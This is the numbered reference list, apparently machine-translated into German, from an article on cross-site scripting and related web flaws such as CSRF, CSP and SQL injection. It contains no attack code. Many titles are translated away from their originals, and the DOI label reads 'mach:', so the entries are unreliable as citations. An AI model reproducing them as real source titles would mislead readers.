    46. ^ Akhawe, Devdatta. "[CSP] Über Berichterstellung und Filterung". Dropbox-Tech-Blog. Abgerufen 1. Mai, 2019.
    47. ^ Lekies, Sebastian; Kotowicz, Krzysztof; Groß, Samuel; Nava, Eduardo Vela; Johns, Martin (2017). "Code-Wiederverwendungsangriffe für das Web: Abwehr von Cross-Site-Scripting-Mitigations über Script-Gadgets" (PDF).
    48. ^ "Trusted Types Spec WIP". wick.github.io. Abgerufen 1. Mai, 2019.
    49. ^ LK Shar und HBK Tan, "Automatisierte Entfernung von Cross-Site-Scripting-Schwachstellen in Webanwendungen", Informations- und Softwaretechnologie, vol. 54, (5), S. 467-478, 2012.
    50. ^ Mark, Goodwin; Mike, Westen. "Cookies der gleichen Website". tools.ietf.org. Abgerufen 4. Mai, 2018.
    51. ^ "Kann ich... Unterstützungstabellen für HTML5, CSS3 usw. verwenden". caniuse.com. Abgerufen 4. Mai, 2018.
    52. ^ Di Paola, Stefano (3. Januar 2007). "Adobe Acrobat Reader Plugin - Mehrere Sicherheitslücken". Wisec.it. Abgerufen 13. März, 2012.
    53. ^ Suggi Liverani, Roberto (26. April 2017). "UXSS in McAfee Endpoint Security, www.mcafee.com und einige Extras..." blog.malerisch.net. Abgerufen 3. Mai, 2017.
    54. ^ "Sicherheitslücke im Internet Explorer ermöglicht Angreifern die Ausführung beliebiger Programme". Heise Media Deutschland. 16. Mai 2008. Abgerufen 7. Juni 2008.
    55. ^ Suggi Liverani, Roberto (21. April 2010). "Kontextübergreifendes Scripting in Firefox" (PDF). Security-Assessment.com. Abgerufen 3. Mai, 2017.
    56. ^ „Update für potenzielle Sicherheitslücken beim Einschleusen von HTTP-Headern in Adobe Flash Player verfügbar“. Adobe-Systeme. 14. November 2006. Abgerufen 7. Juni 2008.
    57. ^ Auger, Robert (17. April 2008). "Die Cross-Site Request Forgery (CSRF/XSRF) FAQ (Version 1.59)". Cgisecurity.com. Abgerufen 7. Juni 2008.
    58. ^ Schneider, Christian. "CSRF und XSS gleichen Ursprungs". www.webappsecblog.com. Archiviert von das Original am 14. August 2012. Abgerufen 21. April 2012.
    59. ^ "OAuth 2.0- und OpenID-Umleitungs-Schwachstelle". Hacker-News. 2. Mai 2014. Abgerufen 21. Dezember 2014.
    60. ^ Scharr, Jill (2. Mai 2014). "Facebook, Google-Nutzer von neuer Sicherheitslücke bedroht". Toms Anleitung. Abgerufen 21. Dezember 2014.
    61. ^ "SQL-Injektion". Konsortium für die Sicherheit von Webanwendungen. 2005. Abgerufen 7. Juni 2008.
    62. ^ "Die häufig gestellten Fragen zu Cross-Site-Scripting". Cgisecurity.com. 2002. Abgerufen 7. Juni 2008.
    63. ^ Abgrall, Erwan; Traon, Yves Le; Gombault, Sylvain; Monperrus, Martin (2014). "Empirische Untersuchung der Angriffsfläche von Webbrowsern unter Cross-Site-Scripting: Ein dringender Bedarf an systematischen Sicherheitsregressionstests". 2014 IEEE Seventh International Conference on Software Testing, Verification and Validation Workshops (PDF). S. 34–41. mach:10.1109/ICSTW.2014.63. ISBN 978-1-4799-5790-3. S2CID 8028548.

    Weiterlesen[edit]

    Externe Links[edit]